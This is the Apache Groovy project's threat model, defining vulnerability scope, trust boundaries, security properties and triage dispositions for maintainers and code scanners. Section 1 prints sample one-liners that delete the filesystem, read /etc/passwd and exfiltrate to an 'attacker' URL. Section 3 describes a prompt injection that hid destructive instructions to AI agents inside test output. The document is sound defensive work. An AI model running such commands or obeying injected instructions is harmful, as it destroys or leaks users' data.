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Apache Groovy — Threat Model

Applies to: Groovy 3.0.x, 4.0.x, 5.0.x (and 6.0.x alpha) as covered by SECURITY.md.

This document states what Apache Groovy treats as a security vulnerability and what it does not. Its primary audience is twofold: maintainers triaging reports, and automated code-scanning tools (and the people reading their output). Groovy's nature as a language makes it a magnet for pattern-based "findings" that are, by design, not vulnerabilities; this document exists so those can be classified quickly and consistently instead of one-by-one.

Each non-trivial claim carries a provenance tag: (documented) — backed by shipped docs, javadoc, or source verified in this repository; (inferred) — a reasoned position not yet confirmed by the PMC; (maintainer) — confirmed by the PMC through its approval of this document.

1. The one thing to understand first

Groovy is a general-purpose programming and scripting language for the JVM. Compiling and running the code it is given is the entire product — not a vulnerability. (maintainer)

A Groovy program can read any file the JVM can read, open network connections, spawn processes, and call any Java API. All of the following are valid, working, intended Groovy:

"rm -rf /".execute()                          // run a shell command
new File('/etc/passwd').text                  // read a local file
new URL(attacker).bytes                        // exfiltrate over the network
Eval.me(scriptText)                            // evaluate an expression

One person's "dangerous capability" is another person's reason for reaching for a scripting language in the first place. The power to do these things on demand is the feature. Consequently:

The trust boundary is the source code, scripts, templates, and objects that the embedding application chooses to compile, evaluate, or deserialize. Everything on the language's side of that boundary runs with the full authority of the host JVM, by design.

Groovy is not a sandbox and does not claim to be one. The project's position — long stated on the security page and in mailing-list guidance — is: do not compile, evaluate, or deserialize untrusted input. When you embed something as powerful as Groovy, securing how you use it is your responsibility, and that requires auditing your own integration, not expecting the language to refuse to do what it is asked. (documented)

Groovy does ship a handful of narrow conveniences that reduce risk for specific, common data-handling cases (parameterized SQL, hardened XML parsing, data-only JSON parsing — see §8). These are helpers within the trust-the-code design, not a perimeter around it.

2. Scope and intended use

Groovy is consumed as a library, runtime, and command-line toolchain, not deployed as a network service of its own. The shapes that matter:

Use shape Description
Embedded runtime An application puts groovy-* jars on its classpath and calls Groovy APIs (GDK methods, groovy.sql.Sql, parsers, builders) and/or evaluates Groovy it authored.
Dynamic evaluation host An application uses GroovyShell, Eval, GroovyClassLoader, GroovyScriptEngine, JSR-223 (groovy-jsr223), or the template engines to run Groovy decided at runtime.
Build / compile groovyc, the Gradle/Maven integrations, and AST transforms compile developer-authored source.
Interactive / CLI tools groovy, groovysh, groovyConsole, groovydoc, groovy-servlet run on inputs the operator provides.

Caller roles

Role Trust level What they control
Application developer / embedder Fully trusted The Groovy source, scripts, templates, classpath, AST transforms, extension modules, and system properties. Their code runs with full JVM authority — by design.
Build / CI operator Fully trusted What gets compiled and the build environment.
CLI / interactive user Trusted, local Runs the tools on their own machine with their own privileges on files they supply.
End user of an application built with Groovy Untrusted Supplies data to that application. Whether they can also supply code depends entirely on choices the developer made — and that choice, not Groovy, owns the consequence.

The security-relevant question is almost always: did the developer feed this actor's input to something that treats it as code (or as a serialized object graph), or only to something that treats it as data? The first is out of model; the second is where Groovy's obligations live.

3. Out of scope (explicit non-goals)

Findings whose mechanism is any of the following are, by default, not treated as vulnerabilities in Groovy, and their expected disposition is out-of-model (§13). "By default" is deliberate: each report is still assessed before it is closed. We are looking specifically for surprising behavior — a case where a developer following Groovy's documented secure practices would nonetheless be caught out. That assessment can promote any item below to VALID (rarely, a CVE), to VALID-HARDENING, or to MODEL-GAP. This section rules out the default obligation, not the act of looking — so when in doubt, still report it.

  • Executing supplied source, scripts, or templates. Anything that relies on the application passing attacker-influenced text to Eval, GroovyShell.evaluate, GroovyClassLoader.parseClass, GroovyScriptEngine, JSR-223 eval, or a template engine. Templates are code; rendering an attacker-controlled template is RCE by construction. This covers compiling, parsing, or statically analyzing such text, not only running it: Groovy executes compile-time metaprogramming — global AST transforms on the compile classpath, @ASTTest, and static initializers — during groovyc, JSR-223 compilation, and even IDE indexing, so merely compiling attacker- controlled Groovy is code execution, exactly as evaluating it is. (documented)
  • Groovlets and template servlets (groovy-servlet: GroovyServlet, TemplateServlet). These run .groovy scripts / templates that the operator deploys into the web application (via GroovyScriptEngine) — developer-deployed code execution, trusted by definition. HTTP request data handed to a Groovlet as bindings is untrusted, and handling it safely is the Groovlet author's downstream responsibility (§10), exactly as for any web handler. An operator who lets attacker-uploaded .groovy files reach the served path has enabled untrusted code execution — operator misconfiguration, not a Groovy vulnerability. (documented — verified in groovy-servlet)
  • Deserializing untrusted data. Java serialization of attacker- controlled bytes is unsafe by the JDK's own statements. Groovy types are Serializable for legitimate reasons, and gadget chains or resource-exhaustion built from a crafted object graph require the application to call ObjectInputStream.readObject on untrusted bytes — which is already game over regardless of Groovy. See §11; §11c gives the capability-vs-data rule for dispositioning serialization findings. (maintainer)
  • Absence of a sandbox. Groovy provides no isolation of executed code from the JVM or host. Reports amounting to "Groovy code can touch the filesystem/network/processes" are out of model.
  • No new authority (equivalent-harm). A finding that reaches an effect the actor could already reach by a legitimate, intended path grants no new authority and is out of model. If a script author can already run arbitrary JVM code, a novel route to code execution — via the metaclass, a category, invokeMethod, runtime class generation, an AST transform, or any other MOP mechanism — is not a privilege escalation; it is the same authority by another name. The in-model question is always "does this give an actor something the model did not already grant them?", not "is there another way to do X?".
  • Bypasses of SecureASTCustomizer (and similar AST filtering). It is a best-effort grammar lockdown, explicitly not a complete security solution (see §9). Demonstrating a bypass is expected, not a vulnerability. The underlying fact — that it is not a security boundary — is (documented) by its own javadoc (§9), and treating a bypass report as BY-DESIGN rather than VALID is the project's triage stance. (maintainer)
  • @Grab / Grape dependency resolution. Resolving and loading dependencies a script declares is the feature. Pulling a malicious artifact because the script (or its resolver config) said to is developer/operator responsibility.
  • Trusted-input surfaces. The classpath, global AST transforms, extension modules, CompilerConfiguration, system properties (groovy.*), and ~/.groovy are developer/operator-controlled. An attacker who can alter them already has code execution.
  • Vulnerabilities in dependencies or the JDK (JAXP providers, JDBC drivers, Ivy/Maven resolvers, logging backends). Report those upstream; Groovy tracks and bumps where it can. Note that a CVE in a dependency does not automatically mean Groovy is affected: the vulnerability is frequently in a part of the library Groovy does not use or exercise, so there is no reachable path to it. Groovy monitors all such cases carefully, assessing reachability before acting, and will bump, document the non-impact, or relocate/remove the dependency as appropriate.
  • Prompt injection aimed at AI agents via tool output. A dependency — or any processor in the build/test chain — can emit text designed to be read as instructions by an AI coding agent that consumes build, compiler, or test output (the technique seen in a 2026 property-testing- library release, where a destructive instruction was printed to test stdout and hidden from interactive terminals with ANSI escape codes while remaining in captured output). This is a supply-chain and agent-toolchain concern, not a Groovy vulnerability: it does not exploit Groovy's runtime, and Groovy emits its own output faithfully (§10, item 9) rather than sanitizing it for whatever downstream interpreter — a shell, a browser, a SQL engine, or now an LLM — happens to consume it. The defenses are dependency pinning and the SBOM (§5) against a surprise version, plus the data-never-instruction and confirm-state-changing-actions rules in AGENTS.md for the agent reading the output.
  • Misuse by the embedding application — SQL/command strings built by hand from untrusted input, etc. Covered as downstream responsibility in §10.

4. Trust boundaries and data flow

The decisive boundary is data vs. code/objects:

  Untrusted actor's input
          │
          ├──► treated as DATA ────────────────────────────► IN MODEL
          │      JsonSlurper / XmlSlurper / XmlParser /         (Groovy must not
          │      YAML/TOML/CSV parsers, groovy.sql.Sql           silently turn
          │      bind parameters, GDK string/collection ops      this data into
          │                                                       code, types, or
          │                                                       info disclosure
          │                                                       beyond the format)
          │
          └──► treated as CODE or a SERIALIZED OBJECT ───────► OUT OF MODEL
                 GroovyShell / Eval / GroovyClassLoader /         (the application
                 GroovyScriptEngine / JSR-223 / template          made the security
                 engines / ObjectInputStream.readObject           decision; full JVM
                                                                   authority follows)

The highest-value review surface is therefore the data parsers: code that is meant to consume untrusted bytes. A defect there (a parser that instantiates arbitrary types, an XML stack that resolves external entities by default, a temp artifact written world-readable) crosses the boundary in a way the developer could not reasonably anticipate, and is in model.

What a real Groovy-side injection bug looks like. The mirror of the "templates are code" rule (§3) defines the in-scope case precisely: Groovy is at fault when a Groovy-shipped component itself routes untrusted data into an evaluator the developer never asked to invoke — for example, if a GDK method, builder, or parser took a value the developer passed purely as data and silently compiled or evaluated it as a GString/expression/script. That would be a genuine server-side template / expression injection in Groovy. It is the opposite of, and must not be conflated with, the developer choosing to call Eval/GroovyShell/a template engine on untrusted input, which is out of model. A scanner should hunt for the former and discount the latter.

5. Assumptions about the environment

  • The JVM hosting Groovy is itself trusted and adequately patched; Groovy inherits the JDK's security posture (and its removal of the SecurityManager — see §9). (documented)
  • Groovy inherits the JVM's memory safety. Memory-corruption classes — buffer overflow, use-after-free, native type confusion — are outside this model; such a defect would be a JDK/JVM bug, not a Groovy one. This is the managed-runtime counterpart to the soundness/unsafe concerns that dominate native-language threat models. (documented)
  • The Groovy artifacts being run are authentic. Official releases are GPG-signed and checksummed per the ASF release process; Groovy's own build pins its dependencies with Gradle dependency verification (gradle/verification-metadata.xml — checksums plus a PGP keyring) and publishes a CycloneDX SBOM per module, so what ships can be provenance-checked. Substituting a tampered Groovy jar is a supply-chain compromise of the operator's environment — out of model here, like an untrusted classpath. (documented)
  • The classpath, CompilerConfiguration, registered AST transforms, extension modules, and groovy.* system properties reflect the developer's/operator's intent, not an attacker's. (inferred)
  • For CLI tools, the user runs them with their own privileges on files they chose; the tools are not a privilege boundary between users on the host. (inferred)
  • Where Groovy writes to the filesystem (compiled stubs, generated Java source, temp dirs), it does so on a host where the OS temp directory is not itself adversarial beyond what owner-only permissions defend against. (documented — see P4 in §8)

5a. Build-time / configuration knobs that affect this model

Knob Default Security effect
XmlParser / XmlSlurper / XmlUtil allowDocTypeDeclaration false When false, DOCTYPE is rejected and secure processing is on → XXE / entity-expansion mitigated. Setting true re-introduces XXE risk for untrusted XML. (documented)
groovy.json.maxNestingDepth (per-instance: JsonSlurper.setMaxNestingDepth) 1000 Caps the array/object nesting depth JsonSlurper/JsonSlurperClassic accept; a small but deeply-nested document throws a JsonException instead of driving a StackOverflowError. A value <= 0 disables the check (restoring the previous unbounded behaviour). Available from 6.0.0. (documented — verified in groovy-json BaseJsonParser)
Grape / @Grab resolution enabled in the runtime; off in AI/automation tooling via -Dgroovy.grape.enable=false Controls whether a script may fetch and load remote dependencies. Keep off for untrusted scripts. (documented — see AGENTS.md)
SecureASTCustomizer allow/deny lists none unless configured A partial grammar restriction, not a sandbox. (documented)
groovy.antlr4.cache.threshold and similar tuning Resource tuning, not a security boundary.

6. Assumptions about inputs

Input Trust Notes
Groovy source / scripts / templates compiled or evaluated by the app trusted by definition If it isn't, the app has already chosen to run untrusted code — out of model.
Serialized object bytes passed to ObjectInputStream must be trusted Out of model if not; see §11.
JSON / XML / YAML / TOML / CSV documents may be untrusted These are the parsers whose job is to consume untrusted bytes safely → in model.
Values bound into groovy.sql.Sql GString queries may be untrusted Bound as JDBC parameters by default → in model (P1).
Classpath, AST transforms, extension modules, groovy.* properties, ~/.groovy trusted Operator-controlled configuration.
CLI arguments / files given to groovy, groovyc, groovysh, etc. trusted Supplied by the local user.

Size/shape: parsers and GDK operations process inputs of developer-chosen size. Groovy does not impose universal limits on collection size, regex backtracking, hash-key cardinality, or numeric magnitude; bounding untrusted input is a downstream responsibility (§10). The one exception is document nesting depth in JsonSlurper, now capped by default (see the parser table below) — the rest still need bounding by the caller.

Groovy's own data parsers are a distinct concern. JsonSlurper, XmlSlurper/XmlParser, and the groovy-yaml/groovy-toml/groovy-csv parsers are advertised to consume untrusted documents (P3 records the verified data-only guarantee for JSON and the YAML/TOML/CSV slurpers). When one of these can be driven to a StackOverflowError, unbounded allocation, or non-linear blow-up by a small crafted document, that is a robustness failure in code whose job is to be safe on untrusted input — closer to in-model than the general "bound your inputs" guidance above. Such reports are VALID-HARDENING (not OUT-OF-MODEL: downstream-responsibility). (maintainer)

All of Groovy's own data parsers now bound nesting depth by default:

Parser Resource-bound state
XmlSlurper / XmlParser Mitigated by default — FEATURE_SECURE_PROCESSING + DOCTYPE disabled (P2) cap entity expansion and depth via the JAXP limits.
YamlSlurper / TomlSlurper / CsvSlurper Bounded implicitly by the Jackson runtime's StreamReadConstraints (nesting-depth / length caps) and the YAML layer's alias limits — i.e. by the dependency's defaults, not an explicit Groovy decision.
JsonSlurper Now bounded explicitly (6.0.0+). Its recursive-descent parsers (decodeValue → decodeJsonObject/decodeJsonArray → decodeValue) enforce a Groovy-level nesting-depth cap (BaseJsonParser, default 1000, configurable via setMaxNestingDepth or -Dgroovy.json.maxNestingDepth), throwing a JsonException rather than overflowing the stack. The default matches Jackson's StreamReadConstraints, so JSON is now bounded consistently with the Jackson-backed slurpers. (documented — GROOVY-12064)

This is separate from the Groovy language parser (groovyc/Antlr), which only ever parses trusted source — compiling untrusted Groovy is already out of model (§3) — so its robustness carries no equivalent obligation. The JsonSlurper nesting cap (GROOVY-12064) closed the last gap here for the 6.0.0 line; on the 3.0.x/4.0.x/5.0.x branches, where it is not (yet) available, depth-bounding untrusted JSON remains a downstream responsibility (§10).

7. Adversary model

Because Groovy is a library/toolchain rather than a service, there is no single "remote attacker." The adversaries that matter:

In scope

  • A data supplier to an embedding application. Can submit JSON/XML/YAML/TOML/CSV documents, SQL parameter values, or strings that the application routes to Groovy as data. Goal: make Groovy exceed the data contract — execute code, instantiate unexpected types, resolve external entities, disclose host information, or consume resources disproportionately — without the developer having opted into code evaluation. Cannot change the application's classpath, config, or source.
  • A local user on a shared host. Can read predictable or world-readable artifacts that Groovy tooling writes (the class of issue behind CVE-2020-17521).

Capabilities the in-scope adversary has (closed list). Supplying bytes to a data parser; supplying values bound as data (SQL parameters, template bindings — not template text); supplying oversized, deeply-nested, or syntactically adversarial data; and, for the local adversary, reading files on the shared host subject to OS permissions. A finding that requires any capability not on this list is out of model (§11b).

Out of scope — explicitly, the adversary cannot be assumed to:

  • supply code, scripts, templates, or serialized objects the application evaluates/deserializes (see §3);
  • alter the classpath, AST transforms, extension modules, Grape config, CompilerConfiguration, or groovy.* properties (developer/operator privilege);
  • replace or tamper with the Groovy artifacts themselves (supply-chain compromise of the host — see §5);
  • attack the JVM/JDK or third-party dependencies rather than Groovy itself.

8. Security properties the project provides

These are deliberately narrow conveniences for common data-handling cases. Each has a CWE, an indicative severity if violated (a rough CVSS band to help a scan prioritise, not a committed score), the condition under which it holds, and what its violation would look like.

  • P1 — Parameterized SQL for the GString form. groovy.sql.Sql converts ${...} placeholders in its GString query forms into JDBC PreparedStatement bind parameters rather than string concatenation, so the idiomatic sql.rows("select * from p where name = $name") is parameterized. Condition: the GString/bind APIs are used (not a hand-concatenated String). Violation: a GString placeholder reaching the driver as literal SQL. CWE-89. Indicative severity if violated: High. (documented — verified in groovy-sql)
  • P2 — Hardened XML parsing by default. XmlParser, XmlSlurper, XmlUtil, and the DOM/SAX/StAX/Transformer factories created via groovy.xml.FactorySupport enable FEATURE_SECURE_PROCESSING, disable external entity resolution, and disallow DOCTYPE declarations by default, mitigating XXE and entity-expansion ("billion laughs"). Condition: allowDocTypeDeclaration left at its default false. Violation: default-configured parsing resolving an external entity or expanding a DTD bomb. CWE-611 / CWE-776. Indicative severity if violated: High. (documented — verified in groovy-xml/FactorySupport.java)
  • P3 — Data-only structured-data parsing. Groovy's structured-data slurpers map an untrusted document to plain Map/List/String/ Number/Boolean/null values; none has a polymorphic/default-typing mode that instantiates document-named classes, so parsing untrusted input does not itself construct gadget types. Verified for JsonSlurper (all four JsonParserType variants — CHAR_BUFFER, INDEX_OVERLAY, CHARACTER_SOURCE, LAX — return only such values; the variant changes only the parsing strategy) and for the untyped parse(...) paths of YamlSlurper, TomlSlurper, and CsvSlurper, which read via Jackson into untyped Object/Map/List. The YAML path notably uses Jackson's untyped binding (YamlConverter), not SnakeYAML's Yaml.load(), so YAML !!-tag type instantiation — the classic SnakeYAML RCE vector — is not reachable. The explicit parseAs(Class<T>, …) overloads bind to a caller-supplied type with no Jackson default typing enabled, so any instantiation is caller-controlled, not document-controlled. Condition: default typing not enabled; for the typed overloads, the caller chose the target type. Violation: a document causing instantiation of a class it names. CWE-502. Indicative severity if violated: Critical. Scope: a type-safety guarantee, not a resource-exhaustion one — DoS robustness of these parsers is addressed separately and is now bounded by default for all of them, including a JsonSlurper nesting-depth cap from 6.0.0 (§6); TomlSlurper/CsvSlurper are @Incubating (best-effort per the stability qualifier below). (documented — verified in groovy-json, groovy-yaml YamlConverter, groovy-toml, groovy-csv)
  • P4 — Owner-only temporary artifacts. Temp directories created by Groovy tooling (e.g. FileSystemCompiler joint-compilation staging) use NIO Files.createTempDirectory, yielding owner-only permissions — the fix class for CVE-2020-17521. Violation: a Groovy-created temp artifact being world-readable/writable. CWE-377 / CWE-378. Indicative severity if violated: Medium (local). (documented — verified in DefaultGroovyStaticMethods/FileSystemCompiler)
  • P5 — Coordinated security maintenance. Supported branches receive security fixes and coordinated disclosure per SECURITY.md and the security history. (documented)

A report demonstrating a default-configuration violation of P1–P4 is a genuine vulnerability and should be reported privately (§13: VALID).

Stability qualifier — @Incubating APIs and pre-release builds. A genuine, in-model vulnerability does not stop being one because it lives in surface we have explicitly marked unstable. Reports against @Incubating APIs, or against alpha/beta/pre-release builds, are still assessed, can still be VALID, and can still warrant a CVE — we do not wash our hands of them. What is reduced is priority and urgency, not whether we act: because that surface is published so that users do not yet rely on it in production, such issues are fixed on a best-effort, reduced-priority basis, are not embargoed-urgent, and might be handled in the open in some cases. This extends the pre-release footnote in SECURITY.md (the (**) note) to @Incubating API surface in otherwise-stable releases. The reduction applies only while the affected surface is unstable: a vulnerability that also reaches stable, non-incubating surface in a supported release is handled at that surface's normal priority.

9. Security properties the project does NOT provide

Groovy does not claim, and you must not assume, any of the following.

  • A sandbox / isolation of executed code. Evaluated Groovy has full JVM authority. There is no built-in mechanism that confines it.
  • Protection against malicious source, scripts, templates, or serialized objects. See §3.
  • SecurityManager-based confinement. The JDK SecurityManager is deprecated/removed; Groovy does not rely on it and neither can you.

False friends — features that look like security but are not

Feature What it actually is Why it is not a security boundary
SecureASTCustomizer A grammar/AST allow-or-deny filter applied at compile time Its own javadoc states it "by itself isn't intended to be the complete solution of all security issues when running scripts on the JVM." Bypassable; one layer among many, not a perimeter. (documented)
@ThreadInterrupt / @TimedInterrupt / @ConditionInterrupt Cooperative interruption checks woven into loops/methods to tame runaway (buggy) scripts Cooperative and removable by the code being run; no defense against deliberately malicious scripts.
@CompileStatic / @TypeChecked Compile-time type checking for correctness and performance Not a security control; statically-compiled code is exactly as privileged.
groovy.sql.Sql (beyond P1) Convenience SQL access Only the GString/bind forms parameterize. A String you concatenate yourself, or dynamic identifiers via Sql.expand, are not protected (CWE-89).
The Groovy "shell"/console tools Developer/operator conveniences groovysh/groovyConsole run code with the user's full privileges; they are not multi-tenant or sandboxed.

Well-known attack classes Groovy does not defend against on the application's behalf: command injection from app-built command strings (and option injection from untrusted values placed into an otherwise-safe argument vector), SSRF from app-built URLs, path traversal from app-built paths, ReDoS from app-chosen patterns/inputs, algorithmic-complexity ("hash-flooding") DoS from untrusted map keys, and resource exhaustion from unbounded untrusted input. These are downstream responsibilities (§10).

10. Downstream responsibilities

If you embed or script with Groovy, you own these:

  1. Do not compile, evaluate, or deserialize untrusted input. Treat scripts, templates, and serialized object graphs as code.
  2. If you must run partially-trusted scripts, layer real isolation outside the language: a separate process/JVM, an OS/container sandbox (seccomp, namespaces), least-privilege credentials, and network-egress controls. Treat SecureASTCustomizer as one hardening layer, never the boundary.
  3. Use parameterized queries (P1) — never hand-concatenate untrusted values into SQL/HQL/JPQL.
  4. Never build shell commands or Process invocations from untrusted input for String.execute() / ProcessGroovyMethods. Even the safer String[]/List argument form is not immune to option injection — an untrusted value passed as its own argument (e.g. one starting with -/--) can be read by the target program as a flag; validate such values or use a -- end-of-options separator.
  5. Keep @Grab/Grape off when processing untrusted scripts, and keep the resolver configuration and classpath trusted.
  6. Bound untrusted input — document depth, collection/array size, regex complexity, numeric magnitude — before handing it to parsers or GDK operations.
  7. For XML, keep allowDocTypeDeclaration = false for untrusted documents (P2). Only enable DOCTYPE/external resources for content you trust.
  8. Keep the classpath, AST transforms, and extension modules trusted — compiling source executes whatever transforms are on the classpath.
  9. Validate/encode at your own boundaries (output encoding, URL allow-lists, path canonicalization) — Groovy returns data faithfully, it does not sanitize it for your sink. The "sink" includes an AI agent that reads program, build, or test output: faithfully-reproduced untrusted text can carry instructions aimed at such an agent (prompt injection), so a consumer that feeds this output to an LLM must treat it as data, never as instructions (see AGENTS.md).
  10. Stay on a supported version (SECURITY.md).

11. Known misuse patterns

Common ways applications create vulnerabilities with Groovy (the vulnerability is in the integration, not the language):

  • Passing untrusted input to Eval.me, GroovyShell.evaluate, GroovyClassLoader.parseClass, GroovyScriptEngine, or JSR-223 eval.
  • Rendering an attacker-controlled template with SimpleTemplateEngine, GStringTemplateEngine, StreamingTemplateEngine, MarkupTemplateEngine, or XmlTemplateEngine — templates compile to Groovy, so this is RCE.
  • Calling ObjectInputStream.readObject on untrusted bytes that may contain Groovy types. A crafted object graph can drive resource exhaustion (or, historically, code execution via gadget chains), but every such case requires the application to deserialize attacker- controlled bytes — "where do you accept user-supplied serialized data these days?" The project's stance: this is out of model as a vulnerability (you must not deserialize untrusted data), while defense-in-depth hardening of serializable runtime types is a reasonable VALID-HARDENING improvement to pursue in the open. (maintainer)
  • Hand-concatenating untrusted values into a SQL String instead of using the GString/bind forms (P1).
  • Building a command line from untrusted input and calling .execute().
  • Relying on SecureASTCustomizer or @ThreadInterrupt as if it were a sandbox.
  • Enabling @Grab resolution while running untrusted scripts.
  • Parsing untrusted XML after setting allowDocTypeDeclaration = true.

11a. Known non-findings (recurring false positives)

A scanner sweeping a language implementation will flag the language's own machinery. These match-by-pattern items are expected and not vulnerabilities unless a concrete, in-model data-boundary crossing (§4) is shown:

Pattern in Groovy's own source Disposition
GroovyClassLoader / parseClass / defineClass / bytecode generation The compiler doing its job — KNOWN-NON-FINDING
Reflection, MetaClass, invokeMethod/getProperty/setProperty/methodMissing, MethodHandle/invokedynamic Core Meta-Object Protocol — KNOWN-NON-FINDING
ProcessGroovyMethods, String.execute(), Runtime.exec wrappers Intended GDK API; injection requires app-supplied untrusted input — OUT-OF-MODEL: downstream-responsibility
Runtime types (e.g. Closure and friends) implementing Serializable, readObject/readResolve OUT-OF-MODEL: untrusted-deserialization — but apply the capability-vs-data test in §11c: capability primitives are VALID-HARDENING, arbitrary-graph DoS stays out of model
ObjectInputStream use in Groovy's own helpers OUT-OF-MODEL: untrusted-deserialization
AST transforms executing code at compile time (local & global) By design; compile time is trusted — KNOWN-NON-FINDING
Eval / GroovyShell inside Groovy's tools, tests, and groovysh/groovyConsole By design — BY-DESIGN: property-disclaimed
@Grab/Grape fetching and loading artifacts By design dependency resolution — OUT-OF-MODEL
Temp-file/dir creation Now NIO owner-only (P4) — KNOWN-NON-FINDING
Regex, BigInteger/BigDecimal parsing, hash-collision flooding (JDK treeifies heavily-collided String-keyed buckets since Java 8) DoS bounded by developer-chosen input — OUT-OF-MODEL: downstream-responsibility
Deep recursion / unbounded input in Groovy's own data parsers (JsonSlurper, XmlSlurper/XmlParser, groovy-yaml/-toml/-csv) Robustness of code meant to consume untrusted input — VALID-HARDENING (maintainer); nesting depth is now bounded by default in all of them (JSON via the 6.0.0 maxNestingDepth cap, GROOVY-12064), per-parser exposure in §6
Dynamic proxy / runtime class generation (Proxy, ProxyGenerator) Core runtime mechanism — KNOWN-NON-FINDING
SecureASTCustomizer bypass demonstrations BY-DESIGN: property-disclaimed (it is not a sandbox)
Groovy tool/compiler/test output echoing attacker-controlled text (identifiers in errors, values in results), or a dependency emitting agent-targeted text Faithful output, not sanitized for a downstream sink (shell / browser / SQL / LLM agent); the consumer treats it as data — OUT-OF-MODEL: downstream-responsibility (see §3, AGENTS.md)

11b. Scanner calibration (default-downgrade rules)

Instructions for an automated scanner or first-pass triager: a candidate finding is downgraded to out-of-model by default — surfaced only if it also clears the bar in the right-hand column — when its mechanism depends on any of the following.

Downgrade by default when the finding depends on… …unless it also shows
the application evaluating or compiling supplied code/templates (§3) a Groovy component itself feeding untrusted data to an evaluator unrequested (§4)
the application deserializing untrusted bytes (§3) a default-config violation of a §8 property
equivalent-harm — a new path to authority the actor already holds (§3) the path crosses a trust boundary the actor did not already hold
malformed-input / DoS against developer-chosen input (§6) the target is one of Groovy's own untrusted-input parsers (VALID-HARDENING, §6)
a malicious dependency, classpath, or groovy.* property (§3) reachability through Groovy's own default-configured code
a PoC the model's adversary cannot stage (§7) the capability is within the §7 closed list

A finding that clears the right-hand bar is a real candidate; everything else is closed with a one-line pointer to the cited section. When a finding is genuinely ambiguous, do not silently drop it — surface it as MODEL-GAP so a human decides.

11c. Serialization hardening — capability vs. data

This rule is (maintainer). Deserializing untrusted bytes is the application's risk (§3) and no per-class change makes it safe; within that baseline, this is how serialization-related findings are dispositioned. The test is capability vs. data — harden surprising capability gaps without stopping users doing legitimate serialization:

Bucket A finding where… Disposition
Capability primitive a deserialization path grants a capability beyond reconstructing declared state — method dispatch, class-resolution-by-name, proxy invocation, code execution — and gating it would not break a "restore my data" use VALID-HARDENING — gate it. Precedent: the MethodClosure RCE fixes (CVE-2015-3253, CVE-2016-6814) gated the resolve path behind MethodClosure.ALLOW_RESOLVE (default false, throwing on deserialize) rather than removing Serializable — capability closed, data path intact.
Legitimate data serialization round-tripping the declared state of POGOs, value types (ranges, tuples, GString), or deliberate closure serialization across a trusted boundary (distributed-compute / caching, both ends owned by the developer) Not a finding — do not break. A blanket "remove Serializable from Closure" is too blunt. If closures are ever hardened, prefer opt-in or transient-by-default for the ambient-capture fields (owner/thisObject/delegate, today non-transient) with a documented rehydration path — an implementation choice, not a scope question.
Arbitrary graph, no named primitive DoS or RCE composed from an arbitrary object graph without identifying a specific capability primitive to remove OUT-OF-MODEL: untrusted-deserialization. Per-class hardening is whack-a-mole ("one more wrapper in between and it works again").

The hinge is bucket 1 vs. 3: does the report name a capability primitive to gate, or merely exploit that object graphs deserialize? Only the former carries a hardening obligation.

12. Conditions that would change this model

  • Groovy shipping an officially-supported sandbox / isolation boundary (would create new in-model properties and bypass-handling rules).
  • A data parser (JsonSlurper, YAML/TOML/CSV, XML) gaining a polymorphic / default-typing mode that instantiates document-chosen classes (would create a deserialization surface that is in model).
  • Changing the secure-by-default XML posture (P2) or temp-artifact permissions (P4).
  • A new tool or subproject that accepts input over the network as a service (would introduce a remote network adversary the current model does not have).
  • Hardening of serializable runtime types (e.g. making closure fields transient, or removing Serializable) — would move some §11a items into scope as defense-in-depth.

13. Triage dispositions

Every report should resolve to exactly one:

Disposition Meaning Handling
VALID Violates a provided property (§8) in a default configuration Private report per SECURITY.md; fix + advisory
VALID-HARDENING By design and not a CVE, but we choose to improve secure-by-default behavior anyway — whether as defense-in-depth on a reported issue or as a proactive hardening we recognize as good practice Handled in the open, normal-priority; not embargoed
OUT-OF-MODEL: executes-supplied-code Relies on the app compiling/evaluating attacker-influenced code or templates Close citing §3
OUT-OF-MODEL: untrusted-deserialization Relies on the app deserializing attacker-controlled bytes Close citing §3/§11
OUT-OF-MODEL: trusted-input Relies on attacker control of classpath, config, AST transforms, or groovy.* properties Close citing §3
OUT-OF-MODEL: downstream-responsibility App-built SQL/command/URL/path from untrusted input Close citing §10
OUT-OF-MODEL: equivalent-harm A new path to an effect the actor could already reach legitimately (§3) Close citing §3
OUT-OF-MODEL: adversary-not-in-scope Requires a capability outside the §7 closed list (e.g. an already-privileged actor, or supply-chain tampering) Close citing §7
BY-DESIGN: property-disclaimed Targets a §9 non-property (e.g. SecureASTCustomizer bypass) Close citing §9
KNOWN-NON-FINDING Matches §11a Close citing the row
MODEL-GAP A legitimate in-model scenario this document doesn't yet cover Update this model, then re-triage

A VALID (or VALID-HARDENING) finding confined to @Incubating APIs or pre-release builds keeps its disposition but is handled at reduced priority per the stability qualifier in §8 — best-effort, not embargoed.

Batched scan reports. An automated code-scan typically arrives as a single document bundling many candidate findings — a departure from the usual ASF "one email, one issue" flow. Each candidate is assigned exactly one disposition from the table above. Only VALID and VALID-HARDENING items enter the coordinated flow in SECURITY.md, and of those only VALID items are embargo-sensitive (VALID-HARDENING can be handled in the open); every other disposition is closed in-batch with a pointer to its cited section and does not become an advisory. This lets a large scan be triaged as a table of dispositions without flooding the security process, and keeps the private channel reserved for the few findings that warrant it.

14. Machine-readable companion

A structured sidecar, threat-model.yaml, enumerates the properties (§8), dispositions (§13), and known non-findings (§11a) so scanning/triage tooling can auto-classify findings. Every YAML entry carries the matching section anchor. This Markdown document remains authoritative; the YAML mirrors it.

Appendix A — back-map: existing documentation → threat-model section

Existing source Covers
.github/SECURITY.md — supported versions, reporting, disclosure hygiene §8 P5, §13
groovy-lang.org/security.html — CVE history (CVE-2015-3253, CVE-2016-6814 deserialization; CVE-2020-17521 temp perms) §3, §8 P4, §11
AGENTS.md — "Untrusted input and confirmation"; Grape off by default for tooling §3, §5a, §10
SecureASTCustomizer javadoc — "isn't intended to be the complete solution of all security issues" §9 false friends
groovy.xml.FactorySupport javadoc — secure processing, disallow-doctype, external-entity defaults §8 P2
groovy.sql.Sql GString → PreparedStatement behaviour §8 P1
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